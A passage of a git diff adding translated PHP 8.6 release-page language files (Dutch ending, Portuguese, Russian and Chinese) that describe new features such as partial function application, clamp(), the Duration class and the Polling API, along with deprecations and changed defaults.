API is ontworpen als een gemeenschappelijke basis waarop event loop bibliotheken zoals ReactPHP en AMPHP kunnen voortbouwen.', + 'clamp_title' => 'Nieuwe clamp() functie', + 'clamp_description' => 'Zorgt ervoor dat een gegeven waarde (numeriek of anderszins) binnen een opgegeven bereik valt. Is dat niet het geval, dan wordt de dichtstbijzijnde grenswaarde teruggegeven.', + 'duration_title' => 'Nieuwe \Time\Duration class', + 'duration_description' => 'De Duration-class stelt verstreken tijd voor, zoals gemeten door een stopwatch. De representatie is onafhankelijk van enig tijdstip en enige tijdzone en kan een bereik van meer dan 250 jaar weergeven met een precisie van nanoseconden. Dit maakt de class zeer geschikt om time-outs of benchmarktijden op een expressieve manier weer te geven.', + 'sort_direction_title' => 'Nieuwe SortDirection enum', + 'sort_direction_description' => '

    De SortDirection enum biedt met de cases Ascending en Descending een gedeelde, typeveilige manier om een sorteervolgorde uit te drukken. Voorheen moest elke bibliotheek een eigen manier definiëren om de sorteerrichting weer te geven, wat resulteerde in een mix van incompatibele integers, strings, booleans en eigen enums. Omdat SortDirection in PHP is ingebouwd, kunnen bibliotheken deze in hun publieke API’s accepteren zonder dat er adaptercode nodig is.

    Lees meer over deze functionaliteit op de blog van The PHP Foundation.

    ', + 'stream_error_handling_title' => 'Foutafhandeling voor streams', + 'stream_error_handling_description' => 'Streambewerkingen kunnen nu zo geconfigureerd worden dat ze een StreamException geven of stilzwijgend mislukken, in plaats van waarschuwingen te genereren. Fouten worden gerapporteerd als gestructureerde StreamError objecten met een StreamErrorCode enum case, de naam van de wrapper en het betreffende pad of de betreffende URL. Ze kunnen ook later opgevraagd worden met stream_last_errors() of doorgegeven worden aan een eigen error handler.', + 'doc_comments_title' => 'DocComments voor functieparameters', + 'doc_comments_description' => 'Parameters van functies en methoden kunnen nu hun eigen DocComments hebben, die beschikbaar zijn via de nieuwe ReflectionParameter::getDocComment() methode. Hierdoor kan elke parameter direct naast de declaratie gedocumenteerd worden, zonder de naam en het type te herhalen in een @param tag.', + 'isreadable_iswriteable_title' => 'Nieuwe ReflectionProperty::isReadable() en ReflectionProperty::isWritable() methoden', + 'isreadable_iswriteable_description' => 'Met readonly eigenschappen, asymmetrische zichtbaarheid en property hooks is controleren of een eigenschap public is niet langer voldoende om te weten of deze gelezen of geschreven kan worden. De nieuwe methoden beantwoorden deze vraag rechtstreeks voor een gegeven scope, en optioneel voor een specifiek object, rekening houdend met zichtbaarheid, initialisatiestatus, hooks en magic methods.', + + 'new_classes_title' => 'Overige functionaliteit en verbeteringen', + 'new_override_constants' => 'Het #[\Override] attribuut kan nu worden toegepast op classconstanten en enum cases.', + 'new_enum_debug_info' => 'Enums kunnen nu de magic method __debugInfo() implementeren.', + 'new_const_object_writes' => 'Eigenschappen van objecten die in constanten zijn opgeslagen, kunnen nu rechtstreeks gewijzigd worden, bijv. Config::DEFAULTS->timeout = 30.', + 'new_uri_builder' => 'Nieuwe Uri\Rfc3986\UriBuilder en Uri\WhatWg\UrlBuilder classes bouwen URI’s op uit hun componenten, samen met nieuwe methoden om URI- en hosttypes te detecteren en een Uri\WhatWg\url_percent_encode() functie.', + 'new_sodium' => 'De Sodium-extensie voegt post-quantum key encapsulation (X-Wing en ML-KEM-768), versleuteling van IP-adressen en de extendable-output functies SHAKE en TurboSHAKE toe.', + 'new_tls' => 'TLS-streams ondersteunen nu sessiehervatting, externe pre-shared keys en TLS 1.3 early data (0-RTT).', + 'new_mysqli_quote_string' => 'De nieuwe mysqli::quote_string() methode escapet een string en plaatst deze tussen aanhalingstekens, net als PDO::quote().', + 'new_pack_endianness' => 'pack() en unpack() accepteren nu de endianness-modifiers < en > bij formaatcodes voor integers en floats.', + 'new_json_error_location' => 'JSON-foutmeldingen bevatten nu de locatie van de fout in de invoer.', + 'new_error_include_args' => 'De nieuwe INI-instelling error_include_args neemt functieargumenten op consistente wijze op in foutmeldingen.', + 'new_intl' => 'De nieuwe grapheme_strrev() functie keert strings om per grafeemcluster, en de nieuwe IntlNumberRangeFormatter class formatteert getallenbereiken.', + 'new_zip' => 'De nieuwe ZipArchive::openString() en ZipArchive::closeString() methoden werken met archieven in het geheugen.', + 'new_performance' => 'Prestatieverbeteringen omvatten onder meer het compileren van array_map() met first-class callable of partial application callbacks naar lussen, snellere printf() aanroepen, caching van stateless closures en snellere JSON-encodering.', + + 'bc_title' => 'Uitfaseringen en neerwaarts incompatibele aanpassingen', + 'bc_return_in_finally' => 'Het gebruik van return binnen een finally blok wordt nu uitgefaseerd, omdat het stilzwijgend exceptions negeert en waarden overschrijft die door het try of catch blok worden teruggegeven.', + 'bc_constructor_return' => 'Het teruggeven van een waarde vanuit __construct() of __destruct() wordt nu uitgefaseerd, net als het gebruik ervan als generator. Het declareren van een nullable returntype voor __debugInfo() wordt eveneens uitgefaseerd.', + 'bc_reserved_identifiers' => 'Het gebruik van let of is als naam van een class, functie of constante wordt nu uitgefaseerd. Het gebruik van _ als naam van een constante, namespace als naam van een classconstante of readonly als functienaam wordt eveneens uitgefaseerd.', + 'bc_mbregex' => 'De functies voor reguliere expressies van mbstring, zoals mb_ereg() en mb_split(), worden uitgefaseerd, omdat de onderliggende Oniguruma-bibliotheek niet langer onderhouden wordt. In plaats daarvan kunnen PCRE-functies met de u modifier gebruikt worden.', + 'bc_type_aliases' => 'De aliassen is_double(), is_long(), is_integer() en doubleval() worden uitgefaseerd. Gebruik in plaats daarvan is_float(), is_int() en floatval().', + 'bc_spl_object_hash' => 'spl_object_hash() wordt uitgefaseerd ten gunste van spl_object_id(), en spl_classes() ten gunste van ReflectionExtension::getClassNames().', + 'bc_objects_as_arrays' => 'Het doorgeven van een object waar een array wordt verwacht aan array_walk(), array_walk_recursive(), http_build_query(), mb_convert_variables() en compressiefuncties en -filters wordt nu uitgefaseerd. Gebruik get_object_vars() om het object eerst om te zetten.', + 'bc_strcoll' => 'strcoll() en de sorteervlag SORT_LOCALE_STRING worden uitgefaseerd. Gebruik in plaats daarvan de Collator class van de intl-extensie.', + 'bc_ignored_arguments' => 'Het doorgeven van een derde argument aan define() wordt nu uitgefaseerd, net als het aanroepen van is_a() of is_subclass_of() met een classnaam als string wanneer $allow_string false is.', + 'bc_php_filter' => 'Het gebruik van meer dan 16 filters in een php://filter URL zonder de contextoptie filter.max_filter_count in te stellen wordt nu uitgefaseerd.', + 'bc_session_defaults' => 'Sessies zijn nu standaard veiliger: session.use_strict_mode en session.cookie_httponly zijn ingeschakeld, en session.cookie_samesite is ingesteld op Lax.', + 'bc_session_handlers' => 'Eigen session handlers die niet zowel create_sid() als validateId() implementeren, worden nu uitgefaseerd.', + 'bc_other_deprecations' => 'De functies metaphone(), mysqli_get_charset() en mysqli_stmt_init() worden nu uitgefaseerd, evenals de CSV-methoden van SplFileObject en de sorteer-, vlag- en serialisatiemethoden van ArrayIterator.', + 'bc_trim_form_feed' => 'trim(), ltrim() en rtrim() verwijderen nu standaard ook form feed-tekens (\f).', + 'bc_stream_close_errors' => 'fclose(), file_put_contents() en copy() geven nu false terug wanneer het flushen of sluiten van de stream mislukt, in plaats van de fout stilzwijgend te negeren.', + 'bc_value_errors' => 'Veel functies geven nu een ValueError bij waarden buiten het bereik, ongeldige vlaggen of strings die NUL-bytes bevatten, in plaats van deze stilzwijgend af te kappen of te negeren.', + + 'footer_title' => 'Betere syntaxis, verbeterde prestaties en typeveiligheid.', + 'footer_description' => '

    De volledige lijst met wijzigingen is vastgelegd in de ChangeLog.

    Raadpleeg de migratiehandleiding voor een gedetailleerde lijst met nieuwe functionaliteit en neerwaarts incompatibele wijzigingen.

    ', +]; diff --git a/public/releases/8.6/languages/pt_BR.php b/public/releases/8.6/languages/pt_BR.php new file mode 100644 index 0000000000..1636666808 --- /dev/null +++ b/public/releases/8.6/languages/pt_BR.php @@ -0,0 +1,83 @@ + 'PHP 8.6 é uma atualização importante da linguagem PHP, trazendo novos recursos como Partial Function Application, a nova classe Duration, uma Polling API e a nova função clamp()', + 'main_title' => 'Mais rápido, mais seguro, mais poderoso.', + 'main_subtitle' => '

    PHP 8.6 é uma atualização importante da linguagem PHP, com novos recursos como Partial Function Application, a nova classe Duration, uma Polling API e a nova função clamp()

    ', + + 'whats_new' => 'Novidades no 8.6', + 'upgrade_now' => 'Atualize para PHP 8.6', + 'old_version' => 'PHP 8.5 e anteriores', + 'badge_new' => 'NOVO', + 'documentation' => 'Doc', + 'released' => 'Será lançado em 19 de Novembro de 2026', + 'release_unavailable_reason' => 'O PHP 8.6 ainda não foi lançado. Ele será lançado em 19 de Novembro de 2026.', + 'key_features' => 'Principais recursos do PHP 8.6', + 'key_features_description' => '

    Código mais expressivo, tipos mais fortes e I/O escalável.

    ', + + 'features_pfa_description' => '

    Permite fornecer antecipadamente alguns dos argumentos de uma função, retornando uma Closure que aceita os demais.

    ', + 'features_readonly_property_defaults_description' => '

    Permite que propriedades readonly declarem valores padrão, de modo que valores fixos não precisam mais ser atribuídos no construtor.

    ', + 'features_polling_api_description' => '

    Multiplexação de I/O escalável usando epoll, kqueue e outros mecanismos nativos, disponível para bibliotecas de event loop como ReactPHP e AMPHP.

    ', + 'features_clamp_description' => '

    Garante que um determinado valor (numérico ou não) esteja dentro de um intervalo especificado.

    ', + 'features_duration_description' => '

    A classe Duration representa o tempo decorrido, como medido por um cronômetro.

    ', + 'features_sort_direction_description' => '

    Uma forma padronizada e com segurança de tipos de expressar a ordem de classificação, que pode ser compartilhada entre bibliotecas.

    ', + + 'pfa_title' => 'Partial Function Application', + 'pfa_description' => 'Permite fornecer antecipadamente alguns dos argumentos de uma função, usando os placeholders ? e ... para os demais. O resultado é uma Closure, e a função só é chamada quando os argumentos restantes forem passados para ela.', + 'readonly_property_defaults_title' => 'Valores padrão em propriedades readonly', + 'readonly_property_defaults_description' => 'Propriedades readonly de instância, incluindo as de classes readonly, agora podem declarar um valor padrão. Isso simplifica a implementação de propriedades de interface somente leitura com valores fixos, que antes precisavam ser atribuídos no construtor. O valor padrão conta como a inicialização da propriedade, portanto o construtor não pode sobrescrevê-lo.', + 'polling_api_title' => 'Polling API', + 'polling_api_description' => 'A nova API Io\Poll monitora vários streams ao mesmo tempo de forma eficiente, usando o melhor mecanismo disponível em cada plataforma (epoll, kqueue, event ports ou WSAPoll), sem os limites de escalabilidade de stream_select(). Ela foi projetada como uma base comum sobre a qual bibliotecas de event loop, como ReactPHP e AMPHP, podem ser construídas.', + 'clamp_title' => 'Nova função clamp()', + 'clamp_description' => 'Garante que um determinado valor (numérico ou não) esteja dentro de um intervalo especificado. Caso contrário, retorna o valor do limite mais próximo.', + 'duration_title' => 'Nova classe \Time\Duration', + 'duration_description' => 'A classe Duration representa o tempo decorrido, como medido por um cronômetro. Sua representação é independente de qualquer horário ou fuso horário e pode representar um intervalo de mais de 250 anos com precisão de nanossegundos. Isso a torna ideal para representar timeouts ou tempos de benchmark de forma expressiva.', + 'sort_direction_title' => 'Novo enum SortDirection', + 'sort_direction_description' => '

    O enum SortDirection oferece uma forma compartilhada e com segurança de tipos de expressar a ordem de classificação, com os casos Ascending e Descending. Antes, cada biblioteca precisava definir sua própria forma de representar a direção da ordenação, resultando em uma mistura incompatível de inteiros, strings, booleanos e enums customizados. Como o SortDirection é nativo do PHP, as bibliotecas podem aceitá-lo em suas APIs públicas sem precisar de código adaptador.

    Saiba mais sobre esse recurso no blog da The PHP Foundation.

    ', + 'stream_error_handling_title' => 'Tratamento de erros em streams', + 'stream_error_handling_description' => 'Operações com streams agora podem ser configuradas para lançar uma StreamException ou falhar silenciosamente, em vez de emitir avisos. Os erros são reportados como objetos StreamError estruturados, contendo um caso do enum StreamErrorCode, o nome do wrapper e o caminho ou URL afetado, e também podem ser obtidos posteriormente com stream_last_errors() ou repassados para um error handler customizado.', + 'doc_comments_title' => 'DocComments para parâmetros de funções', + 'doc_comments_description' => 'Parâmetros de funções e métodos agora podem ter seus próprios DocComments, disponíveis por meio do novo método ReflectionParameter::getDocComment(). Isso permite documentar cada parâmetro junto à sua declaração, sem repetir seu nome e tipo em uma tag @param.', + 'isreadable_iswriteable_title' => 'Novos métodos ReflectionProperty::isReadable() e ReflectionProperty::isWritable()', + 'isreadable_iswriteable_description' => 'Com propriedades readonly, visibilidade assimétrica e property hooks, verificar se uma propriedade é pública já não basta para saber se ela pode ser lida ou escrita. Os novos métodos respondem isso diretamente para um determinado escopo e, opcionalmente, para um objeto específico, levando em conta visibilidade, estado de inicialização, hooks e métodos mágicos.', + + 'new_classes_title' => 'Recursos e melhorias adicionais', + 'new_override_constants' => 'O atributo #[\Override] agora pode ser aplicado a constantes de classe e casos de enum.', + 'new_enum_debug_info' => 'Enums agora podem implementar o método mágico __debugInfo().', + 'new_const_object_writes' => 'Propriedades de objetos armazenados em constantes agora podem ser modificadas diretamente, por exemplo Config::DEFAULTS->timeout = 30.', + 'new_uri_builder' => 'Novas classes Uri\Rfc3986\UriBuilder e Uri\WhatWg\UrlBuilder constroem URIs a partir de seus componentes, junto com novos métodos para detectar tipos de URI e de host e a função Uri\WhatWg\url_percent_encode().', + 'new_sodium' => 'A extensão Sodium adiciona encapsulamento de chaves pós-quântico (X-Wing e ML-KEM-768), criptografia de endereços IP e as funções de saída extensível SHAKE e TurboSHAKE.', + 'new_tls' => 'Streams TLS agora suportam retomada de sessão, chaves pré-compartilhadas externas e early data do TLS 1.3 (0-RTT).', + 'new_mysqli_quote_string' => 'Novo método mysqli::quote_string() escapa uma string e a envolve em aspas, assim como PDO::quote().', + 'new_pack_endianness' => 'pack() e unpack() agora aceitam os modificadores de endianness < e > em códigos de formato de inteiros e floats.', + 'new_json_error_location' => 'Mensagens de erro de JSON agora incluem a posição do erro na entrada.', + 'new_error_include_args' => 'A nova configuração INI error_include_args inclui de forma consistente os argumentos das funções nas mensagens de erro.', + 'new_intl' => 'Nova função grapheme_strrev() inverte strings por cluster de grafemas, e a nova classe IntlNumberRangeFormatter formata intervalos de números.', + 'new_zip' => 'Novos métodos ZipArchive::openString() e ZipArchive::closeString() trabalham com arquivos compactados em memória.', + 'new_performance' => 'As melhorias de desempenho incluem a compilação de array_map() com callbacks first-class callable ou de partial application em loops, chamadas mais rápidas de printf(), cache de closures sem estado e codificação de JSON mais rápida.', + + 'bc_title' => 'Descontinuações e quebras de compatibilidade', + 'bc_return_in_finally' => 'Usar return dentro de um bloco finally agora é descontinuado, pois descarta exceções silenciosamente e sobrescreve valores retornados pelo bloco try ou catch.', + 'bc_constructor_return' => 'Retornar um valor em __construct() ou __destruct() agora é descontinuado, assim como transformá-los em generators. Declarar um tipo de retorno nullable para __debugInfo() também foi descontinuado.', + 'bc_reserved_identifiers' => 'Usar let ou is como nome de classe, função ou constante agora é descontinuado. Usar _ como nome de constante, namespace como nome de constante de classe ou readonly como nome de função também foi descontinuado.', + 'bc_mbregex' => 'As funções de expressões regulares do mbstring, como mb_ereg() e mb_split(), foram descontinuadas, pois a biblioteca Oniguruma, na qual se baseiam, não é mais mantida. As funções PCRE com o modificador u podem ser usadas no lugar.', + 'bc_type_aliases' => 'Os aliases is_double(), is_long(), is_integer() e doubleval() foram descontinuados. Use is_float(), is_int() e floatval().', + 'bc_spl_object_hash' => 'spl_object_hash() foi descontinuada em favor de spl_object_id(), e spl_classes() em favor de ReflectionExtension::getClassNames().', + 'bc_objects_as_arrays' => 'Passar um objeto onde um array é esperado para array_walk(), array_walk_recursive(), http_build_query(), mb_convert_variables() e funções e filtros de compressão agora é descontinuado. Use get_object_vars() para converter o objeto antes.', + 'bc_strcoll' => 'strcoll() e a flag de ordenação SORT_LOCALE_STRING foram descontinuadas. Use a classe Collator da extensão intl.', + 'bc_ignored_arguments' => 'Passar um terceiro argumento para define() agora é descontinuado, assim como chamar is_a() ou is_subclass_of() com uma string de nome de classe quando $allow_string é false.', + 'bc_php_filter' => 'Usar mais de 16 filtros em uma URL php://filter sem definir a opção de contexto filter.max_filter_count agora é descontinuado.', + 'bc_session_defaults' => 'As sessões agora são mais seguras por padrão: session.use_strict_mode e session.cookie_httponly estão habilitadas, e session.cookie_samesite é definida como Lax.', + 'bc_session_handlers' => 'Session handlers customizados que não implementam create_sid() e validateId() agora são descontinuados.', + 'bc_other_deprecations' => 'As funções metaphone(), mysqli_get_charset() e mysqli_stmt_init() agora são descontinuadas, assim como os métodos de CSV de SplFileObject e os métodos de ordenação, flags e serialização de ArrayIterator.', + 'bc_trim_form_feed' => 'trim(), ltrim() e rtrim() agora também removem caracteres de form feed (\f) por padrão.', + 'bc_stream_close_errors' => 'fclose(), file_put_contents() e copy() agora retornam false quando a descarga (flush) ou o fechamento do stream falha, em vez de ignorar a falha silenciosamente.', + 'bc_value_errors' => 'Muitas funções agora lançam um ValueError para valores fora do intervalo, flags inválidas ou strings contendo bytes NUL, em vez de truncá-los ou ignorá-los silenciosamente.', + + 'footer_title' => 'Sintaxe aprimorada, melhor desempenho e maior segurança de tipos.', + 'footer_description' => '

    A lista completa de mudanças está registrada no ChangeLog.

    Consulte o guia de migração para uma lista detalhada de novos recursos e alterações incompatíveis.

    ', +]; diff --git a/public/releases/8.6/languages/ru.php b/public/releases/8.6/languages/ru.php new file mode 100644 index 0000000000..2466a5a621 --- /dev/null +++ b/public/releases/8.6/languages/ru.php @@ -0,0 +1,83 @@ + 'PHP 8.6 — большое обновление языка PHP с новыми возможностями, включая частичное применение функций, новый класс Duration, Polling API и новую функцию clamp()', + 'main_title' => 'Быстрее, безопаснее, мощнее', + 'main_subtitle' => '

    PHP 8.6 — большое обновление языка PHP. Оно содержит новые возможности, включая частичное применение функций, новый класс Duration, Polling API и новую функцию clamp().

    ', + + 'whats_new' => 'Что нового в 8.6', + 'upgrade_now' => 'Переходите на PHP 8.6!', + 'old_version' => 'PHP 8.5 и ранее', + 'badge_new' => 'Новинка', + 'documentation' => 'Документация', + 'released' => 'Будет выпущен 19 ноября 2026', + 'release_unavailable_reason' => 'PHP 8.6 ещё не выпущен. Релиз запланирован на 19 ноября 2026 года.', + 'key_features' => 'Основные возможности PHP 8.6', + 'key_features_description' => '

    Более выразительный код, более строгие типы и масштабируемый ввод-вывод.

    ', + + 'features_pfa_description' => '

    Позволяет заранее передать часть аргументов функции, возвращая замыкание (Closure), которое принимает остальные.

    ', + 'features_readonly_property_defaults_description' => '

    Позволяет readonly-свойствам объявлять значения по умолчанию, поэтому фиксированные значения больше не нужно присваивать в конструкторе.

    ', + 'features_polling_api_description' => '

    Масштабируемое мультиплексирование ввода-вывода на основе epoll, kqueue и других нативных механизмов — для библиотек событийных циклов вроде ReactPHP и AMPHP.

    ', + 'features_clamp_description' => '

    Гарантирует, что значение (числовое или любое другое) находится в заданном диапазоне.

    ', + 'features_duration_description' => '

    Класс Duration представляет прошедшее время, измеренное секундомером.

    ', + 'features_sort_direction_description' => '

    Стандартный типобезопасный способ выразить порядок сортировки, который можно использовать в разных библиотеках.

    ', + + 'pfa_title' => 'Частичное применение функций', + 'pfa_description' => 'Позволяет заранее передать часть аргументов функции, используя заполнители ? и ... для остальных. Результатом является замыкание (Closure), и функция вызывается только после передачи ей оставшихся аргументов.', + 'readonly_property_defaults_title' => 'Значения по умолчанию для readonly-свойств', + 'readonly_property_defaults_description' => 'Readonly-свойства экземпляра, в том числе в readonly-классах, теперь могут объявлять значение по умолчанию. Это упрощает реализацию свойств интерфейсов только для чтения с фиксированными значениями, для которых раньше требовалось присваивание в конструкторе. Значение по умолчанию считается инициализацией свойства, поэтому конструктор не может его перезаписать.', + 'polling_api_title' => 'Polling API', + 'polling_api_description' => 'Новый API Io\Poll эффективно отслеживает множество потоков одновременно, используя лучший механизм, доступный на каждой платформе (epoll, kqueue, event ports или WSAPoll), и не упирается в ограничения масштабируемости stream_select(). Он задуман как общая основа, на которой могут строиться библиотеки событийных циклов, такие как ReactPHP и AMPHP.', + 'clamp_title' => 'Новая функция clamp()', + 'clamp_description' => 'Гарантирует, что заданное значение (числовое или любое другое) находится в указанном диапазоне. В противном случае возвращается ближайшее значение в пределах границ диапазона.', + 'duration_title' => 'Новый класс \Time\Duration', + 'duration_description' => 'Класс Duration представляет прошедшее время, измеренное секундомером. Его представление не привязано ни к какому времени и часовому поясу и позволяет выразить диапазон более чем в 250 лет с точностью до наносекунды. Поэтому он отлично подходит для выразительного представления таймаутов или результатов бенчмарков.', + 'sort_direction_title' => 'Новое перечисление SortDirection', + 'sort_direction_description' => '

    Перечисление SortDirection предоставляет общий типобезопасный способ выражения порядка сортировки с вариантами Ascending и Descending. Раньше каждой библиотеке приходилось определять собственный способ представления направления сортировки, что приводило к смешению несовместимых целых чисел, строк, логических значений и пользовательских перечислений. Поскольку SortDirection встроено в PHP, библиотеки могут принимать его в своих публичных API без необходимости писать код-адаптер.

    Подробнее об этой возможности — в блоге PHP Foundation.

    ', + 'stream_error_handling_title' => 'Обработка ошибок в потоках', + 'stream_error_handling_description' => 'Теперь операции с потоками можно настроить так, чтобы они выбрасывали StreamException или тихо завершались с ошибкой вместо вывода предупреждений. Ошибки сообщаются в виде структурированных объектов StreamError с вариантом перечисления StreamErrorCode, именем обёртки и затронутым путём или URL; их также можно получить позже через stream_last_errors() или передать собственному обработчику ошибок.', + 'doc_comments_title' => 'DocComments для параметров функций', + 'doc_comments_description' => 'Параметры функций и методов теперь могут иметь собственные DocComments, доступные через новый метод ReflectionParameter::getDocComment(). Это позволяет документировать каждый параметр прямо рядом с его объявлением, не повторяя его имя и тип в теге @param.', + 'isreadable_iswriteable_title' => 'Новые методы ReflectionProperty::isReadable() и ReflectionProperty::isWritable()', + 'isreadable_iswriteable_description' => 'С появлением readonly-свойств, асимметричной видимости и хуков свойств проверки на public уже недостаточно, чтобы понять, можно ли прочитать свойство или записать в него. Новые методы отвечают на этот вопрос напрямую для заданной области видимости — и при необходимости для конкретного объекта, — учитывая видимость, состояние инициализации, хуки и магические методы.', + + 'new_classes_title' => 'Дополнительные возможности и улучшения', + 'new_override_constants' => 'Атрибут #[\Override] теперь можно применять к константам классов и вариантам перечислений.', + 'new_enum_debug_info' => 'Перечисления теперь могут реализовывать магический метод __debugInfo().', + 'new_const_object_writes' => 'Свойства объектов, хранящихся в константах, теперь можно изменять напрямую, например: Config::DEFAULTS->timeout = 30.', + 'new_uri_builder' => 'Новые классы Uri\Rfc3986\UriBuilder и Uri\WhatWg\UrlBuilder собирают URI из компонентов. Кроме того, добавлены методы для определения типов URI и хостов и функция Uri\WhatWg\url_percent_encode().', + 'new_sodium' => 'Модуль Sodium получил постквантовое инкапсулирование ключей (X-Wing и ML-KEM-768), шифрование IP-адресов и расширяемые выходные функции SHAKE и TurboSHAKE.', + 'new_tls' => 'TLS-потоки теперь поддерживают возобновление сессий, внешние предварительно общие ключи (PSK) и ранние данные TLS 1.3 (0-RTT).', + 'new_mysqli_quote_string' => 'Новый метод mysqli::quote_string() экранирует строку и заключает её в кавычки, как PDO::quote().', + 'new_pack_endianness' => 'pack() и unpack() теперь принимают модификаторы порядка байтов < и > в кодах формата целых чисел и чисел с плавающей точкой.', + 'new_json_error_location' => 'Сообщения об ошибках JSON теперь включают место ошибки во входных данных.', + 'new_error_include_args' => 'Новая INI-настройка error_include_args последовательно включает аргументы функций в сообщения об ошибках.', + 'new_intl' => 'Новая функция grapheme_strrev() переворачивает строки по графемным кластерам, а новый класс IntlNumberRangeFormatter форматирует диапазоны чисел.', + 'new_zip' => 'Новые методы ZipArchive::openString() и ZipArchive::closeString() работают с архивами в памяти.', + 'new_performance' => 'Среди улучшений производительности — компиляция array_map() с callback-ами первого класса или частичным применением в циклы, более быстрые вызовы printf(), кеширование замыканий без состояния и ускоренное кодирование JSON.', + + 'bc_title' => 'Устаревшая функциональность и изменения в обратной совместимости', + 'bc_return_in_finally' => 'Использование return внутри блока finally объявлено устаревшим: оно молча отбрасывает исключения и перекрывает значения, возвращённые из блока try или catch.', + 'bc_constructor_return' => 'Возврат значения из __construct() или __destruct() объявлен устаревшим, как и превращение их в генераторы. Объявление nullable-типа возврата для __debugInfo() также устарело.', + 'bc_reserved_identifiers' => 'Использование let или is в качестве имени класса, функции или константы объявлено устаревшим. Также устарело использование _ как имени константы, namespace как имени константы класса и readonly как имени функции.', + 'bc_mbregex' => 'Регулярные функции mbstring, такие как mb_ereg() и mb_split(), объявлены устаревшими, поскольку лежащая в их основе библиотека Oniguruma больше не поддерживается. Вместо них можно использовать функции PCRE с модификатором u.', + 'bc_type_aliases' => 'Псевдонимы is_double(), is_long(), is_integer() и doubleval() объявлены устаревшими. Используйте is_float(), is_int() и floatval().', + 'bc_spl_object_hash' => 'Функция spl_object_hash() объявлена устаревшей в пользу spl_object_id(), а spl_classes() — в пользу ReflectionExtension::getClassNames().', + 'bc_objects_as_arrays' => 'Передача объекта туда, где ожидается массив, в array_walk(), array_walk_recursive(), http_build_query(), mb_convert_variables(), а также в функции и фильтры сжатия объявлена устаревшей. Сначала преобразуйте объект с помощью get_object_vars().', + 'bc_strcoll' => 'Функция strcoll() и флаг сортировки SORT_LOCALE_STRING объявлены устаревшими. Вместо них используйте класс Collator из модуля intl.', + 'bc_ignored_arguments' => 'Передача третьего аргумента в define() объявлена устаревшей, как и вызов is_a() или is_subclass_of() со строкой имени класса, когда $allow_string равен false.', + 'bc_php_filter' => 'Использование более 16 фильтров в URL php://filter без установки контекстной опции filter.max_filter_count объявлено устаревшим.', + 'bc_session_defaults' => 'Сессии теперь безопаснее по умолчанию: включены session.use_strict_mode и session.cookie_httponly, а для session.cookie_samesite задано значение Lax.', + 'bc_session_handlers' => 'Пользовательские обработчики сессий, не реализующие одновременно create_sid() и validateId(), объявлены устаревшими.', + 'bc_other_deprecations' => 'Функции metaphone(), mysqli_get_charset() и mysqli_stmt_init() объявлены устаревшими, как и CSV-методы SplFileObject и методы сортировки, работы с флагами и сериализации ArrayIterator.', + 'bc_trim_form_feed' => 'trim(), ltrim() и rtrim() теперь по умолчанию удаляют и символ перевода страницы (\f).', + 'bc_stream_close_errors' => 'fclose(), file_put_contents() и copy() теперь возвращают false, если сброс или закрытие потока завершилось ошибкой, вместо того чтобы молча её игнорировать.', + 'bc_value_errors' => 'Многие функции теперь выбрасывают ValueError при выходе значения за диапазон, недопустимых флагах или строках с NUL-байтами, вместо того чтобы молча обрезать или игнорировать их.', + + 'footer_title' => 'Выше производительность, лучше синтаксис, надёжнее система типов.', + 'footer_description' => '

    Полный список изменений приведён в ChangeLog.

    Подробный список новых возможностей и изменений, ломающих обратную совместимость, смотрите в руководстве по миграции.

    ', +]; diff --git a/public/releases/8.6/languages/zh.php b/public/releases/8.6/languages/zh.php new file mode 100644 index 0000000000..9ebeabb250 --- /dev/null +++ b/public/releases/8.6/languages/zh.php @@ -0,0 +1,83 @@ + 'PHP 8.6 是 PHP 语言的一次重大更新,新增了 Partial Function Application、Duration 类、Polling API 和 clamp() 函数等功能。', + 'main_title' => '更快速、更安全、更强大。', + 'main_subtitle' => '

    PHP 8.6 是 PHP 语言的一次重大更新,新增了 Partial Function Application、Duration 类、Polling API 和 clamp() 函数等功能。

    ', + + 'whats_new' => '8.6 中的新特性', + 'upgrade_now' => '升级到 PHP 8.6', + 'old_version' => 'PHP 8.5 及更早版本', + 'badge_new' => '新增', + 'documentation' => '文档', + 'released' => '将于 2026 年 11 月 19 日发布', + 'release_unavailable_reason' => 'PHP 8.6 尚未发布,将于 2026 年 11 月 19 日发布。', + 'key_features' => 'PHP 8.6 的主要特性', + 'key_features_description' => '

    更具表达力的代码、更严格的类型、可扩展的 I/O。

    ', + + 'features_pfa_description' => '

    允许预先提供函数的部分参数,并返回一个接收其余参数的 Closure。

    ', + 'features_readonly_property_defaults_description' => '

    允许为 readonly 属性声明默认值,无需再在构造函数中为其赋予固定值。

    ', + 'features_polling_api_description' => '

    通过 epoll、kqueue 等原生机制提供可扩展的 I/O 多路复用,可供 ReactPHP、AMPHP 等事件循环库使用。

    ', + 'features_clamp_description' => '

    确保给定值处于指定范围内,既适用于数值,也适用于其他类型的值。

    ', + 'features_duration_description' => '

    Duration 类用于表示像秒表一样测量的经过时间。

    ', + 'features_sort_direction_description' => '

    提供标准且类型安全的排序方向表示方式,可供不同的库共同使用。

    ', + + 'pfa_title' => 'Partial Function Application', + 'pfa_description' => '允许预先提供函数的部分参数,并用 ? 和 ... 为其余参数占位。返回结果是一个 Closure,只有在向其传入剩余参数后,才会调用原函数。', + 'readonly_property_defaults_title' => 'readonly 属性默认值', + 'readonly_property_defaults_description' => '现在可以为实例的 readonly 属性声明默认值,包括 readonly 类中的属性。这让实现具有固定值的仅可读接口属性变得更简单,而此前必须在构造函数中为这些属性赋值。声明默认值即完成了属性初始化,因此构造函数无法再覆盖该值。', + 'polling_api_title' => 'Polling API', + 'polling_api_description' => '全新的 Io\Poll API 使用各平台上最合适的机制(epoll、kqueue、event ports 或 WSAPoll)高效地同时监控大量流,突破了 stream_select() 的可扩展性限制。它旨在为 ReactPHP、AMPHP 等事件循环库提供通用基础。', + 'clamp_title' => '新增 clamp() 函数', + 'clamp_description' => '确保给定值处于指定范围内,既适用于数值,也适用于其他类型的值。如果超出范围,则返回最接近的边界值。', + 'duration_title' => '新增 \Time\Duration 类', + 'duration_description' => 'Duration 类用于表示像秒表一样测量的经过时间。它不依赖具体时刻或时区,能够以纳秒精度表示超过 250 年的时间跨度,非常适合清晰地表达超时时长或基准测试耗时。', + 'sort_direction_title' => '新增 SortDirection 枚举', + 'sort_direction_description' => '

    SortDirection 枚举通过 Ascending 和 Descending 两个枚举项,提供通用且类型安全的排序方向表示方式。此前,各个库必须自行定义排序方向,导致整数、字符串、布尔值和自定义枚举等互不兼容的表示方式混杂使用。由于 SortDirection 内置于 PHP,库可以直接在公共 API 中接收它,无需编写适配代码。

    可在 The PHP Foundation 的博客中进一步了解此特性。

